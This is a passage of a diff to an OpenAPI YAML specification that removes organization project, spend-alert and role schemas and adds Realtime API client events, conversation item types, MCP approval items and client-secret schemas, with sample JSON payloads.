the default\nConversation. Arbitrary input can be provided with the `input` field, which is an array accepting\nraw Items and references to existing Items.\n"
properties:
- object:
+ event_id:
type: string
- enum:
- - organization.project.service_account
+ maxLength: 512
+ description: Optional client-generated ID used to identify this event.
+ type:
x-stainless-const: true
- id:
- type: string
- name:
- type: string
- role:
- type: string
- enum:
- - member
- - none
- description: |
- Service accounts created with default project membership have role `member`. Accounts created with `create_service_account_only` have role `none`.
- created_at:
- type: integer
- format: unixtime
- api_key:
- anyOf:
- - $ref: '#/components/schemas/ProjectServiceAccountApiKey'
- - type: 'null'
+ description: The event type, must be `response.create`.
+ const: response.create
+ response:
+ $ref: '#/components/schemas/RealtimeResponseCreateParams'
required:
- - object
- - id
- - name
- - role
- - created_at
- - api_key
- ProjectServiceAccountDeleteResponse:
+ - type
+ x-oaiMeta:
+ name: response.create
+ group: realtime
+ example: |
+ // Trigger a response with the default Conversation and no special parameters
+ {
+ "type": "response.create",
+ }
+
+ // Trigger an out-of-band response that does not write to the default Conversation
+ {
+ "type": "response.create",
+ "response": {
+ "instructions": "Provide a concise answer.",
+ "tools": [], // clear any session tools
+ "conversation": "none",
+ "output_modalities": ["text"],
+ "metadata": {
+ "response_purpose": "summarization"
+ },
+ "input": [
+ {
+ "type": "item_reference",
+ "id": "item_12345"
+ },
+ {
+ "type": "message",
+ "role": "user",
+ "content": [
+ {
+ "type": "input_text",
+ "text": "Summarize the above message in one sentence."
+ }
+ ]
+ }
+ ]
+ }
+ }
+ RealtimeClientEventSessionUpdate:
type: object
+ description: |
+ Send this event to update the session’s configuration.
+ The client may send this event at any time to update any field
+ except for `voice` and `model`. `voice` can be updated only if there have been no other audio outputs yet.
+
+ When the server receives a `session.update`, it will respond
+ with a `session.updated` event showing the full, effective configuration.
+ Only the fields that are present in the `session.update` are updated. To clear a field like
+ `instructions`, pass an empty string. To clear a field like `tools`, pass an empty array.
+ To clear a field like `turn_detection`, pass `null`.
properties:
- object:
+ event_id:
type: string
- enum:
- - organization.project.service_account.deleted
+ maxLength: 512
+ description: Optional client-generated ID used to identify this event. This is an arbitrary string that a client may assign. It will be passed back if there is an error with the event, but the corresponding `session.updated` event will not include it.
+ type:
x-stainless-const: true
- id:
- type: string
- deleted:
- type: boolean
+ description: The event type, must be `session.update`.
+ const: session.update
+ session:
+ type: object
+ description: |
+ Update the Realtime session. Choose either a realtime
+ session or a transcription session.
+ anyOf:
+ - $ref: '#/components/schemas/RealtimeSessionCreateRequestGA'
+ - $ref: '#/components/schemas/RealtimeTranscriptionSessionCreateRequestGA'
required:
- - object
- - id
- - deleted
- ProjectServiceAccountListResponse:
+ - type
+ - session
+ x-oaiMeta:
+ name: session.update
+ group: realtime
+ example: |
+ {
+ "type": "session.update",
+ "session": {
+ "type": "realtime",
+ "instructions": "You are a creative assistant that helps with design tasks.",
+ "tools": [
+ {
+ "type": "function",
+ "name": "display_color_palette",
+ "description": "Call this function when a user asks for a color palette.",
+ "parameters": {
+ "type": "object",
+ "properties": {
+ "theme": {
+ "type": "string",
+ "description": "Description of the theme for the color scheme."
+ },
+ "colors": {
+ "type": "array",
+ "description": "Array of five hex color codes based on the theme.",
+ "items": {
+ "type": "string",
+ "description": "Hex color code"
+ }
+ }
+ },
+ "required": [
+ "theme",
+ "colors"
+ ]
+ }
+ }
+ ],
+ "tool_choice": "auto"
+ }
+ }
+ RealtimeClientEventTranscriptionSessionUpdate:
type: object
+ description: |
+ Send this event to update a transcription session.
properties:
- object:
+ event_id:
type: string
- enum:
- - list
+ description: Optional client-generated ID used to identify this event.
+ type:
x-stainless-const: true
- data:
- type: array
- items:
- $ref: '#/components/schemas/ProjectServiceAccount'
- first_id:
- anyOf:
- - type: string
- - type: 'null'
- last_id:
- anyOf:
- - type: string
- - type: 'null'
- has_more:
- type: boolean
+ description: The event type, must be `transcription_session.update`.
+ const: transcription_session.update
+ session:
+ $ref: '#/components/schemas/RealtimeTranscriptionSessionCreateRequest'
required:
- - object
- - data
- - has_more
- ProjectSpendAlert:
+ - type
+ - session
+ x-oaiMeta:
+ name: transcription_session.update
+ group: realtime
+ example: |
+ {
+ "type": "transcription_session.update",
+ "session": {
+ "input_audio_format": "pcm16",
+ "input_audio_transcription": {
+ "model": "gpt-4o-transcribe",
+ "prompt": "",
+ "language": ""
+ },
+ "turn_detection": {
+ "type": "server_vad",
+ "threshold": 0.5,
+ "prefix_padding_ms": 300,
+ "silence_duration_ms": 500,
+ "create_response": true,
+ },
+ "input_audio_noise_reduction": {
+ "type": "near_field"
+ },
+ "include": [
+ "item.input_audio_transcription.logprobs",
+ ]
+ }
+ }
+ RealtimeConversationItem:
+ description: A single item within a Realtime conversation.
+ anyOf:
+ - $ref: '#/components/schemas/RealtimeConversationItemMessageSystem'
+ - $ref: '#/components/schemas/RealtimeConversationItemMessageUser'
+ - $ref: '#/components/schemas/RealtimeConversationItemMessageAssistant'
+ - $ref: '#/components/schemas/RealtimeConversationItemFunctionCall'
+ - $ref: '#/components/schemas/RealtimeConversationItemFunctionCallOutput'
+ - $ref: '#/components/schemas/RealtimeMCPApprovalResponse'
+ - $ref: '#/components/schemas/RealtimeMCPListTools'
+ - $ref: '#/components/schemas/RealtimeMCPToolCall'
+ - $ref: '#/components/schemas/RealtimeMCPApprovalRequest'
+ discriminator:
+ propertyName: type
+ RealtimeConversationItemFunctionCall:
type: object
- description: Represents a spend alert configured at the project level.
+ title: Realtime function call item
+ description: A function call item in a Realtime conversation.
properties:
id:
type: string
- description: The identifier, which can be referenced in API endpoints.
+ description: The unique ID of the item. This may be provided by the client or generated by the server.
object:
type: string
enum:
- - project.spend_alert
- description: The object type, which is always `project.spend_alert`.
+ - realtime.item
+ description: Identifier for the API object being returned - always `realtime.item`. Optional when creating a new item.
x-stainless-const: true
- threshold_amount:
- type: integer
- description: The alert threshold amount, in cents.
- currency:
+ type:
type: string
enum:
- - USD
- description: The currency for the threshold amount.
- interval:
+ - function_call
+ description: The type of the item. Always `function_call`.
+ x-stainless-const: true
+ status:
type: string
enum:
- - month
- description: The time interval for evaluating spend against the threshold.
- notification_channel:
- $ref: '#/components/schemas/SpendAlertNotificationChannel'
+ - completed
+ - incomplete
+ - in_progress
+ description: The status of the item. Has no effect on the conversation.
+ call_id:
+ type: string
+ description: The ID of the function call.
+ name:
+ type: string
+ description: The name of the function being called.
+ arguments:
+ type: string
+ description: 'The arguments of the function call. This is a JSON-encoded string representing the arguments passed to the function, for example `{"arg1": "value1", "arg2": 42}`.'
required:
- - id
- - object
- - threshold_amount
- - currency
- - interval
- - notification_channel
- x-oaiMeta:
- name: The project spend alert object
- example: |
- {
- "id": "alert_abc123",
- "object": "project.spend_alert",
- "threshold_amount": 100000,
- "currency": "USD",
- "interval": "month",
- "notification_channel": {
- "type": "email",
- "recipients": ["finance@example.com"],
- "subject_prefix": "OpenAI spend alert"
- }
- }
- ProjectSpendAlertDeletedResource:
+ - type
+ - name
+ - arguments
+ RealtimeConversationItemFunctionCallOutput:
type: object
- description: Confirmation payload returned after deleting a project spend alert.
+ title: Realtime function call output item
+ description: A function call output item in a Realtime conversation.
properties:
id:
type: string
- description: The deleted spend alert ID.
+ description: The unique ID of the item. This may be provided by the client or generated by the server.
object:
type: string
enum:
- - project.spend_alert.deleted
- description: Always `project.spend_alert.deleted`.
+ - realtime.item
+ description: Identifier for the API object being returned - always `realtime.item`. Optional when creating a new item.
x-stainless-const: true
- deleted:
- type: boolean
- description: Whether the spend alert was deleted.
+ type:
+ type: string
+ enum:
+ - function_call_output
+ description: The type of the item. Always `function_call_output`.
+ x-stainless-const: true
+ status:
+ type: string
+ enum:
+ - completed
+ - incomplete
+ - in_progress
+ description: The status of the item. Has no effect on the conversation.
+ call_id:
+ type: string
+ description: The ID of the function call this output is for.
+ output:
+ type: string
+ description: The output of the function call, this is free text and can contain any information or simply be empty.
required:
- - id
- - object
- - deleted
- ProjectSpendAlertListResource:
+ - type
+ - call_id
+ - output
+ RealtimeConversationItemMessageAssistant:
type: object
- description: Paginated list of project spend alerts.
+ title: Realtime assistant message item
+ description: An assistant message item in a Realtime conversation.
properties:
+ id:
+ type: string
+ description: The unique ID of the item. This may be provided by the client or generated by the server.
object:
type: string
enum:
- - list
- description: Always `list`.
+ - realtime.item
+ description: Identifier for the API object being returned - always `realtime.item`. Optional when creating a new item.
x-stainless-const: true
- data:
+ type:
+ type: string
+ enum:
+ - message
+ description: The type of the item. Always `message`.
+ x-stainless-const: true
+ status:
+ type: string
+ enum:
+ - completed
+ - incomplete
+ - in_progress
+ description: The status of the item. Has no effect on the conversation.
+ role:
+ type: string
+ enum:
+ - assistant
+ description: The role of the message sender. Always `assistant`.
+ x-stainless-const: true
+ content:
type: array
- description: Spend alerts returned in the current page.
+ description: The content of the message.
items:
- $ref: '#/components/schemas/ProjectSpendAlert'
- first_id:
- anyOf:
- - type: string
- - type: 'null'
- description: The ID of the first spend alert in this page.
- last_id:
- anyOf:
- - type: string
- - type: 'null'
- description: The ID of the last spend alert in this page.
- has_more:
- type: boolean
- description: Whether more spend alerts are available when paginating.
+ type: object
+ properties:
+ type:
+ type: string
+ enum:
+ - output_text
+ - output_audio
+ description: The content type, `output_text` or `output_audio` depending on the session `output_modalities` configuration.
+ text:
+ type: string
+ description: The text content.
+ audio:
+ type: string
+ description: Base64-encoded audio bytes, these will be parsed as the format specified in the session output audio type configuration. This defaults to PCM 16-bit 24kHz mono if not specified.
+ transcript:
+ type: string
+ description: The transcript of the audio content, this will always be present if the output type is `audio`.
required:
- - object
- - data
- - first_id
- - last_id
- - has_more
- ProjectUpdateRequest:
- type: object
- properties:
- name:
- anyOf:
- - type: string
- - type: 'null'
- description: The updated name of the project, this name appears in reports.
- external_key_id:
- anyOf:
- - type: string
- - type: 'null'
- description: External key ID to associate with the project.
- geography:
- anyOf:
- - type: string
- - type: 'null'
- deprecated: true
- description: |-
- Geography for the project.
- Deprecated: use `residency` when creating a project to configure data residency. This field is retained for backward compatibility.
- ProjectUser:
+ - type
+ - role
+ - content
+ RealtimeConversationItemMessageSystem:
type: object
- description: Represents an individual user in a project.
+ title: Realtime system message item
+ description: A system message in a Realtime conversation can be used to provide additional context or instructions to the model. This is similar but distinct from the instruction prompt provided at the start of a conversation, as system messages can be added at any point in the conversation. For major changes to the conversation's behavior, use instructions, but for smaller updates (e.g. "the user is now asking about a different topic"), use system messages.
properties:
+ id:
+ type: string
+ description: The unique ID of the item. This may be provided by the client or generated by the server.
object:
type: string
enum:
- - organization.project.user
- description: The object type, which is always `organization.project.user`
+ - realtime.item
+ description: Identifier for the API object being returned - always `realtime.item`. Optional when creating a new item.
x-stainless-const: true
- id:
+ type:
type: string
- description: The identifier, which can be referenced in API endpoints
- name:
- anyOf:
- - type: string
- - type: 'null'
- description: The name of the user
- email:
- anyOf:
- - type: string
- - type: 'null'
- description: The email address of the user
- role:
+ enum:
+ - message
+ description: The type of the item. Always `message`.
+ x-stainless-const: true
+ status:
type: string
- description: '`owner` or `member`'
- added_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) of when the project was added.
- required:
- - object
- - id
- - role
- - added_at
- x-oaiMeta:
- name: The project user object
- example: |
- {
- "object": "organization.project.user",
- "id": "user_abc",
- "name": "First Last",
- "email": "user@example.com",
- "role": "owner",
- "added_at": 1711471533
- }
- ProjectUserCreateRequest:
- type: object
- properties:
- user_id:
- anyOf:
- - type: string
- - type: 'null'
- description: The ID of the user.
- email:
- anyOf:
- - type: string
- - type: 'null'
- description: Email of the user to add.
+ enum:
+ - completed
+ - incomplete
+ - in_progress
+ description: The status of the item. Has no effect on the conversation.
role:
type: string
- description: '`owner` or `member`'
+ enum:
+ - system
+ description: The role of the message sender. Always `system`.
+ x-stainless-const: true
+ content:
+ type: array
+ description: The content of the message.
+ items:
+ type: object
+ properties:
+ type:
+ type: string
+ enum:
+ - input_text
+ description: The content type. Always `input_text` for system messages.
+ x-stainless-const: true
+ text:
+ type: string
+ description: The text content.
required:
+ - type
- role
- ProjectUserDeleteResponse:
+ - content
+ RealtimeConversationItemMessageUser:
type: object
+ title: Realtime user message item
+ description: A user message item in a Realtime conversation.
properties:
+ id:
+ type: string
+ description: The unique ID of the item. This may be provided by the client or generated by the server.
object:
type: string
enum:
- - organization.project.user.deleted
+ - realtime.item
+ description: Identifier for the API object being returned - always `realtime.item`. Optional when creating a new item.
x-stainless-const: true
- id:
+ type:
type: string
- deleted:
- type: boolean
- required:
- - object
- - id
- - deleted
- ProjectUserListResponse:
- type: object
- properties:
- object:
+ enum:
+ - message
+ description: The type of the item. Always `message`.
+ x-stainless-const: true
+ status:
type: string
- data:
- type: array
- items:
- $ref: '#/components/schemas/ProjectUser'
- first_id:
- anyOf:
- - type: string
- - type: 'null'
- last_id:
- anyOf:
- - type: string
- - type: 'null'
- has_more:
- type: boolean
- required:
- - object
- - data
- - has_more
- ProjectUserUpdateRequest:
- type: object
- properties:
+ enum:
+ - completed
+ - incomplete
+ - in_progress
+ description: The status of the item. Has no effect on the conversation.
role:
- anyOf:
- - type: string
- - type: 'null'
- description: '`owner` or `member`'
- Prompt:
- anyOf:
- - type: object
- description: |
- Reference to a prompt template and its variables.
- [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
- required:
- - id
- properties:
- id:
- type: string
- description: The unique identifier of the prompt template to use.
- version:
- anyOf:
- - type: string
- description: Optional version of the prompt template.
- - type: 'null'
- variables:
- $ref: '#/components/schemas/ResponsePromptVariables'
- - type: 'null'
- PublicAssignOrganizationGroupRoleBody:
- type: object
- description: Request payload for assigning a role to a group or user.
- properties:
- role_id:
- type: string
- description: Identifier of the role to assign.
- required:
- - role_id
- x-oaiMeta:
- example: |
- {
- "role_id": "role_01J1F8ROLE01"
- }
- PublicCreateOrganizationRoleBody:
- type: object
- description: Request payload for creating a custom role.
- properties:
- role_name:
type: string
- description: Unique name for the role.
- permissions:
+ enum:
+ - user
+ description: The role of the message sender. Always `user`.
+ x-stainless-const: true
+ content:
type: array
- description: Permissions to grant to the role.
+ description: The content of the message.
items:
- type: string
- description:
- description: Optional description of the role.
- anyOf:
- - type: string
- - type: 'null'
+ type: object
+ properties:
+ type:
+ type: string
+ enum:
+ - input_text
+ - input_audio
+ - input_image
+ description: The content type (`input_text`, `input_audio`, or `input_image`).
+ text:
+ type: string
+ description: The text content (for `input_text`).
+ audio:
+ type: string
+ description: Base64-encoded audio bytes (for `input_audio`), these will be parsed as the format specified in the session input audio type configuration. This defaults to PCM 16-bit 24kHz mono if not specified.
+ image_url:
+ type: string
+ format: uri
+ description: Base64-encoded image bytes (for `input_image`) as a data URI. For example `data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA...`. Supported formats are PNG and JPEG.
+ detail:
+ type: string
+ description: The detail level of the image (for `input_image`). `auto` will default to `high`.
+ default: auto
+ enum:
+ - auto
+ - low
+ - high
+ transcript:
+ type: string
+ description: Transcript of the audio (for `input_audio`). This is not sent to the model, but will be attached to the message item for reference.
required:
- - role_name
- - permissions
- x-oaiMeta:
- example: |
- {
- "role_name": "API Group Manager",
- "permissions": [
- "api.groups.read",
- "api.groups.write"
- ],
- "description": "Allows managing organization groups"
- }
- PublicRoleListResource:
+ - type
+ - role
+ - content
+ RealtimeConversationItemWithReference:
type: object
- description: Paginated list of roles available on an organization or project.
+ description: The item to add to the conversation.
properties:
+ id:
+ type: string
+ description: |
+ For an item of type (`message` | `function_call` | `function_call_output`)
+ this field allows the client to assign the unique ID of the item. It is
+ not required because the server will generate one if not provided.
+
+ For an item of type `item_reference`, this field is required and is a
+ reference to any item that has previously existed in the conversation.
+ type:
+ type: string
+ enum:
+ - message
+ - function_call
+ - function_call_output
+ - item_reference
+ description: |
+ The type of the item (`message`, `function_call`, `function_call_output`, `item_reference`).
object:
type: string
enum:
- - list
- description: Always `list`.
+ - realtime.item
+ description: |
+ Identifier for the API object being returned - always `realtime.item`.
x-stainless-const: true
- data:
+ status:
+ type: string
+ enum:
+ - completed
+ - incomplete
+ - in_progress
+ description: "The status of the item (`completed`, `incomplete`, `in_progress`). These have no effect \non the conversation, but are accepted for consistency with the \n`conversation.item.created` event.\n"
+ role:
+ type: string
+ enum:
+ - user
+ - assistant
+ - system
+ description: "The role of the message sender (`user`, `assistant`, `system`), only \napplicable for `message` items.\n"
+ content:
type: array
- description: Roles returned in the current page.
+ description: "The content of the message, applicable for `message` items. \n- Message items of role `system` support only `input_text` content\n- Message items of role `user` support `input_text` and `input_audio` \n content\n- Message items of role `assistant` support `text` content.\n"
items:
- $ref: '#/components/schemas/Role'
- has_more:
- type: boolean
- description: Whether more roles are available when paginating.
- next:
- description: Cursor to fetch the next page of results, or `null` when there are no additional roles.
- anyOf:
- - type: string
- - type: 'null'
- required:
- - object
- - data
- - has_more
- - next
- x-oaiMeta:
- name: Role list
- example: |
- {
- "object": "list",
- "data": [
- {
- "object": "role",
- "id": "role_01J1F8ROLE01",
- "name": "API Group Manager",
- "description": "Allows managing organization groups",
- "permissions": [
- "api.groups.read",
- "api.groups.write"
- ],
- "resource_type": "api.organization",
- "predefined_role": false
- }
- ],
- "has_more": false,
- "next": null
- }
- PublicUpdateOrganizationRoleBody:
+ type: object
+ properties:
+ type:
+ type: string
+ enum:
+ - input_text
+ - input_audio
+ - item_reference
+ - text
+ description: |
+ The content type (`input_text`, `input_audio`, `item_reference`, `text`).
+ text:
+ type: string
+ description: |
+ The text content, used for `input_text` and `text` content types.
+ id:
+ type: string
+ description: |
+ ID of a previous conversation item to reference (for `item_reference`
+ content types in `response.create` events). These can reference both
+ client and server created items.
+ audio:
+ type: string
+ description: |
+ Base64-encoded audio bytes, used for `input_audio` content type.
+ transcript:
+ type: string
+ description: |
+ The transcript of the audio, used for `input_audio` content type.
+ call_id:
+ type: string
+ description: "The ID of the function call (for `function_call` and \n`function_call_output` items). If passed on a `function_call_output` \nitem, the server will check that a `function_call` item with the same \nID exists in the conversation history.\n"
+ name:
+ type: string
+ description: |
+ The name of the function being called (for `function_call` items).
+ arguments:
+ type: string
+ description: |
+ The arguments of the function call (for `function_call` items).
+ output:
+ type: string
+ description: |
+ The output of the function call (for `function_call_output` items).
+ RealtimeCreateClientSecretRequest:
type: object
- description: Request payload for updating an existing role.
+ title: Realtime client secret creation request
+ description: |
+ Create a session and client secret for the Realtime API. The request can specify
+ either a realtime or a transcription session configuration.
+ [Learn more about the Realtime API](https://developers.openai.com/api/docs/guides/realtime).
properties:
- permissions:
- description: Updated set of permissions for the role.
- anyOf:
- - type: array
- items:
+ expires_after:
+ type: object
+ title: Client secret expiration
+ description: |
+ Configuration for the client secret expiration. Expiration refers to the time after which
+ a client secret will no longer be valid for creating sessions. The session itself may
+ continue after that time once started. A secret can be used to create multiple sessions
+ until it expires.
+ properties:
+ anchor:
type: string
- - type: 'null'
- description:
- description: New description for the role.
- anyOf:
- - type: string
- - type: 'null'
- role_name:
- description: New name for the role.
+ enum:
+ - created_at
+ description: |
+ The anchor point for the client secret expiration, meaning that `seconds` will be added to the `created_at` time of the client secret to produce an expiration timestamp. Only `created_at` is currently supported.
+ default: created_at
+ x-stainless-const: true
+ seconds:
+ type: integer
+ format: int64
+ description: |
+ The number of seconds from the anchor point to the expiration. Select a value between `10` and `7200` (2 hours). This default to 600 seconds (10 minutes) if not specified.
+ minimum: 10
+ maximum: 7200
+ default: 600
+ session:
+ title: Session configuration
+ description: |
+ Session configuration to use for the client secret. Choose either a realtime
+ session or a transcription session.
anyOf:
- - type: string
- - type: 'null'
- x-oaiMeta:
- example: |
- {
- "role_name": "API Group Manager",
- "permissions": [
- "api.groups.read",
- "api.groups.write"
- ],
- "description": "Allows managing organization groups"
- }
- RealtimeAudioFormats:
- anyOf:
- - type: object
- title: PCM audio format
- description: The PCM audio format. Only a 24kHz sample rate is supported.
- properties:
- type:
- type: string
- description: The audio format. Always `audio/pcm`.
- enum:
- - audio/pcm
- rate:
- type: integer
- description: The sample rate of the audio. Always `24000`.
- enum:
- - 24000
- - type: object
- title: PCMU audio format
- description: The G.711 μ-law format.
- properties:
- type:
- type: string
- description: The audio format. Always `audio/pcmu`.
- enum:
- - audio/pcmu
- - type: object
- title: PCMA audio format
- description: The G.711 A-law format.
- properties:
- type:
- type: string
- description: The audio format. Always `audio/pcma`.
- enum:
- - audio/pcma
- discriminator:
- propertyName: type
- RealtimeBetaClientEventConversationItemCreate:
+ - $ref: '#/components/schemas/RealtimeSessionCreateRequestGA'
+ - $ref: '#/components/schemas/RealtimeTranscriptionSessionCreateRequestGA'
+ discriminator:
+ propertyName: type
+ RealtimeCreateClientSecretResponse:
type: object
- description: "Add a new Item to the Conversation's context, including messages, function \ncalls, and function call responses. This event can be used both to populate a \n\"history\" of the conversation and to add new items mid-stream, but has the \ncurrent limitation that it cannot populate assistant audio messages.\n\nIf successful, the server will respond with a `conversation.item.created` \nevent, otherwise an `error` event will be sent.\n"
+ title: Realtime session and client secret
+ description: |
+ Response from creating a session and client secret for the Realtime API.
properties:
- event_id:
- type: string
- maxLength: 512
- description: Optional client-generated ID used to identify this event.
- type:
- x-stainless-const: true
- description: The event type, must be `conversation.item.create`.
- const: conversation.item.create
- previous_item_id:
+ value:
type: string
- description: "The ID of the preceding item after which the new item will be inserted. \nIf not set, the new item will be appended to the end of the conversation.\nIf set to `root`, the new item will be added to the beginning of the conversation.\nIf set to an existing ID, it allows an item to be inserted mid-conversation. If the\nID cannot be found, an error will be returned and the item will not be added.\n"
- item:
- $ref: '#/components/schemas/RealtimeConversationItem'
+ description: The generated client secret value.
+ expires_at:
+ type: integer
+ format: unixtime
+ description: Expiration timestamp for the client secret, in seconds since epoch.
+ session:
+ title: Session configuration
+ description: |
+ The session configuration for either a realtime or transcription session.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/RealtimeSessionCreateResponseGA'
+ - $ref: '#/components/schemas/RealtimeTranscriptionSessionCreateResponseGA'
required:
- - type
- - item
+ - value
+ - expires_at
+ - session
x-oaiMeta:
- name: conversation.item.create
+ name: Session response object
group: realtime
example: |
{
- "type": "conversation.item.create",
- "item": {
- "type": "message",
- "role": "user",
- "content": [
- {
- "type": "input_text",
- "text": "hi"
+ "value": "ek_68af296e8e408191a1120ab6383263c2",
+ "expires_at": 1756310470,
+ "session": {
+ "type": "realtime",
+ "object": "realtime.session",
+ "id": "sess_C9CiUVUzUzYIssh3ELY1d",
+ "model": "gpt-realtime-2025-08-25",
+ "output_modalities": [
+ "audio"
+ ],
+ "instructions": "You are a friendly assistant.",
+ "tools": [],
+ "tool_choice": "auto",
+ "max_output_tokens": "inf",
+ "tracing": null,
+ "truncation": "auto",
+ "prompt": null,
+ "expires_at": 0,
+ "audio": {
+ "input": {
+ "format": {
+ "type": "audio/pcm",
+ "rate": 24000
+ },
+ "transcription": null,
+ "noise_reduction": null,
+ "turn_detection": {
+ "type": "server_vad",
+ "threshold": 0.5,
+ "prefix_padding_ms": 300,
+ "silence_duration_ms": 200,
+ "idle_timeout_ms": null,
+ "create_response": true,
+ "interrupt_response": true
+ }
+ },
+ "output": {
+ "format": {
+ "type": "audio/pcm",
+ "rate": 24000
+ },
+ "voice": "alloy",
+ "speed": 1.0
}
- ]
- },
- "event_id": "b904fba0-0ec4-40af-8bbb-f908a9b26793",
+ },
+ "include": null
+ }
}
- RealtimeBetaClientEventConversationItemDelete:
+ RealtimeFunctionTool:
type: object
- description: "Send this event when you want to remove any item from the conversation \nhistory. The server will respond with a `conversation.item.deleted` event, \nunless the item does not exist in the conversation history, in which case the \nserver will respond with an error.\n"
+ title: Function tool
properties:
- event_id:
- type: string
- description: Optional client-generated ID used to identify this event.
type:
+ type: string
+ enum:
+ - function
+ description: The type of the tool, i.e. `function`.
x-stainless-const: true
- description: The event type, must be `conversation.item.delete`.
- const: conversation.item.delete
- item_id:
+ name:
type: string
- description: The ID of the item to delete.
- required:
- - type
- - item_id
- x-oaiMeta:
- name: conversation.item.delete
- group: realtime
- example: |
- {
- "event_id": "event_901",
- "type": "conversation.item.delete",
- "item_id": "msg_003"
- }
- RealtimeBetaClientEventConversationItemRetrieve:
+ description: The name of the function.
+ description:
+ type: string
+ description: |
+ The description of the function, including guidance on when and how
+ to call it, and guidance about what to tell the user when calling
+ (if anything).
+ parameters:
+ type: object
+ description: Parameters of the function in JSON Schema.
+ RealtimeMCPApprovalRequest:
type: object
- description: "Send this event when you want to retrieve the server's representation of a specific item in the conversation history. This is useful, for example, to inspect user audio after noise cancellation and VAD.\nThe server will respond with a `conversation.item.retrieved` event, \nunless the item does not exist in the conversation history, in which case the \nserver will respond with an error.\n"
+ title: Realtime MCP approval request
+ description: |
+ A Realtime item requesting human approval of a tool invocation.
properties:
- event_id:
- type: string
- description: Optional client-generated ID used to identify this event.
type:
+ type: string
+ enum:
+ - mcp_approval_request
+ description: The type of the item. Always `mcp_approval_request`.
x-stainless-const: true
- description: The event type, must be `conversation.item.retrieve`.
- const: conversation.item.retrieve
- item_id:
+ id:
type: string
- description: The ID of the item to retrieve.
- required:
- - type
- - item_id
- x-oaiMeta:
- name: conversation.item.retrieve
- group: realtime
- example: |
- {
- "event_id": "event_901",
- "type": "conversation.item.retrieve",
- "item_id": "msg_003"
- }
- RealtimeBetaClientEventConversationItemTruncate:
- type: object
- description: "Send this event to truncate a previous assistant message’s audio. The server \nwill produce audio faster than realtime, so this event is useful when the user \ninterrupts to truncate audio that has already been sent to the client but not \nyet played. This will synchronize the server's understanding of the audio with \nthe client's playback.\n\nTruncating audio will delete the server-side text transcript to ensure there \nis not text in the context that hasn't been heard by the user.\n\nIf successful, the server will respond with a `conversation.item.truncated` \nevent. \n"
- properties:
- event_id:
+ description: The unique ID of the approval request.
+ server_label:
type: string
- description: Optional client-generated ID used to identify this event.
- type:
- x-stainless-const: true
- description: The event type, must be `conversation.item.truncate`.
- const: conversation.item.truncate
- item_id:
+ description: The label of the MCP server making the request.
+ name:
type: string
- description: "The ID of the assistant message item to truncate. Only assistant message \nitems can be truncated.\n"
- content_index:
- type: integer
- description: The index of the content part to truncate. Set this to 0.
- audio_end_ms:
- type: integer
- description: "Inclusive duration up to which audio is truncated, in milliseconds. If \nthe audio_end_ms is greater than the actual audio duration, the server \nwill respond with an error.\n"
+ description: The name of the tool to run.
+ arguments:
+ type: string
+ description: A JSON string of arguments for the tool.
required:
- type
- - item_id
- - content_index
- - audio_end_ms
- x-oaiMeta:
- name: conversation.item.truncate
- group: realtime
- example: |
- {
- "event_id": "event_678",
- "type": "conversation.item.truncate",
- "item_id": "msg_002",
- "content_index": 0,
- "audio_end_ms": 1500
- }
- RealtimeBetaClientEventInputAudioBufferAppend:
+ - id
+ - server_label
+ - name
+ - arguments
+ RealtimeMCPApprovalResponse:
type: object
- description: "Send this event to append audio bytes to the input audio buffer. The audio \nbuffer is temporary storage you can write to and later commit. In Server VAD \nmode, the audio buffer is used to detect speech and the server will decide \nwhen to commit. When Server VAD is disabled, you must commit the audio buffer\nmanually.\n\nThe client may choose how much audio to place in each event up to a maximum \nof 15 MiB, for example streaming smaller chunks from the client may allow the \nVAD to be more responsive. Unlike made other client events, the server will \nnot send a confirmation response to this event.\n"
+ title: Realtime MCP approval response
+ description: |
+ A Realtime item responding to an MCP approval request.
properties:
- event_id:
- type: string
- description: Optional client-generated ID used to identify this event.
type:
+ type: string
+ enum:
+ - mcp_approval_response
+ description: The type of the item. Always `mcp_approval_response`.
x-stainless-const: true
- description: The event type, must be `input_audio_buffer.append`.
- const: input_audio_buffer.append
- audio:
+ id:
type: string
- description: "Base64-encoded audio bytes. This must be in the format specified by the \n`input_audio_format` field in the session configuration.\n"
- required:
- - type
- - audio
- x-oaiMeta:
- name: input_audio_buffer.append
- group: realtime
- example: |
- {
- "event_id": "event_456",
- "type": "input_audio_buffer.append",
- "audio": "Base64EncodedAudioData"
- }
- RealtimeBetaClientEventInputAudioBufferClear:
- type: object
- description: "Send this event to clear the audio bytes in the buffer. The server will \nrespond with an `input_audio_buffer.cleared` event.\n"
- properties:
- event_id:
+ description: The unique ID of the approval response.
+ approval_request_id:
type: string
- description: Optional client-generated ID used to identify this event.
- type:
- x-stainless-const: true
- description: The event type, must be `input_audio_buffer.clear`.
- const: input_audio_buffer.clear
+ description: The ID of the approval request being answered.
+ approve:
+ type: boolean
+ description: Whether the request was approved.
+ reason:
+ anyOf:
+ - type: string
+ description: Optional reason for the decision.
+ - type: 'null'
required:
- type
- x-oaiMeta:
- name: input_audio_buffer.clear
- group: realtime
- example: |
- {
- "event_id": "event_012",
- "type": "input_audio_buffer.clear"
- }
- RealtimeBetaClientEventInputAudioBufferCommit:
+ - id
+ - approval_request_id
+ - approve
+ RealtimeMCPHTTPError:
type: object
- description: "Send this event to commit the user input audio buffer, which will create a \nnew user message item in the conversation. This event will produce an error \nif the input audio buffer is empty. When in Server VAD mode, the client does \nnot need to send this event, the server will commit the audio buffer \nautomatically.\n\nCommitting the input audio buffer will trigger input audio transcription \n(if enabled in session configuration), but it will not create a response \nfrom the model. The server will respond with an `input_audio_buffer.committed` \nevent.\n"
+ title: Realtime MCP HTTP error
properties:
- event_id:
- type: string
- description: Optional client-generated ID used to identify this event.
type:
+ type: string
+ enum:
+ - http_error
x-stainless-const: true
- description: The event type, must be `input_audio_buffer.commit`.
- const: input_audio_buffer.commit
+ code:
+ type: integer
+ message:
+ type: string
required:
- type
- x-oaiMeta:
- name: input_audio_buffer.commit
- group: realtime
- example: |
- {
- "event_id": "event_789",
- "type": "input_audio_buffer.commit"
- }
- RealtimeBetaClientEventOutputAudioBufferClear:
+ - code
+ - message
+ RealtimeMCPListTools:
type: object
+ title: Realtime MCP list tools
description: |
- **WebRTC/SIP Only:** Emit to cut off the current audio response. This will trigger the server to
